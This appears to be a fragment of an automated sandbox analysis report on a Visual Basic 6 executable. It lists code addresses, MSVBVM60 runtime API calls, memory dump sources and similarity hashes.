        0x00411d23
        0x00411d49
        0x00411d50

        APIs
        • __vbaChkstk.MSVBVM60 ref: 00411CB3
        • #693.MSVBVM60(00402D8C), ref: 00411CBF
        • __vbaChkstk.MSVBVM60(?,?,?,?,?,?,00402D8C), ref: 00411CED
        • __vbaChkstk.MSVBVM60(?,?,?,?,?,?,00402D8C), ref: 00411CFE
        • __vbaHresultCheckObj.MSVBVM60(?,?,0040299C,000002B0,?,?,?,?,?,?,00402D8C), ref: 00411D35
        Memory Dump Source
        • Source File: 00000000.00000002.1348267574.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1348253791.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348312161.0000000000416000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1348328819.0000000000418000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Chkstk$#693CheckHresult
        • String ID:
        • API String ID: 2297938516-0
        • Opcode ID: 9d9aba45f011a799b91174e2e140bd88b8381b44d35069a57826de304ded698c
        • Instruction ID: 0c36bfc0ef5fda690f25a178ca25ed6b66b7ebd89fee49b3ec67669d38653a2b
        • Opcode Fuzzy Hash: 9d9aba45f011a799b91174e2e140bd88b8381b44d35069a57826de304ded698c
        • Instruction Fuzzy Hash: 4A115E71900308ABDB01EF95D84ABCE7BB2EF09314F10446AF900BF2A1C7BA59418F69
        Uniqueness

        Uniqueness Score: -1.00%